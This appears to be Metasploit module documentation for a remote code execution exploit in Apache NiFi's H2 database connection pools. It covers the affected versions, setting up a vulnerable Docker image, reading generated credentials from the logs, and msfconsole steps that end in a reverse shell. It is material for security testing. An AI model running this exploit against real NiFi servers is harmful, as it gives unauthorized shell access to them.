## Vulnerable Application

The DBCPConnectionPool and HikariCPConnectionPool Controller Services in
Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user
to configure a Database URL with the H2 driver that enables custom code execution.
This exploit will create a new ExecuteSQL process, connect it to a DB Connection
Pool, and create a new H2 based connection.  The connection is able to create
a new memory based h2 database on the fly, with a code execution inlined that
executes when the H2 connection, and process are started.

This exploit will result in several shells (5-7).
Successfully tested against Apache nifi 1.16.0 through 1.21.0.

### Vulnerable Docker Images

Docker images are available, and exploitable in the default configuration.

```
docker run -p 8443:8443 apache/nifi:1.20.0
```

After the image runs for a minute or two, you'll need to grab a set of credentials
by running grep against the logs:

```
docker logs [container_id] | grep Generated
```

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use exploit/linux/http/apache_nifi_h2_rce `
1. Do: `set username [username]`
1. Do: `set password [password]`
1. Do: `set rhosts [ip]`
1. Do: `set lhost [ip]`
1. Do: `run`
1. You should get a shell.

## Options

### DELAY

The delay time before stopping and deleting the processor and DB connection pool. Defaults to `15`

## Scenarios

### Nifi 1.20.0 on Docker
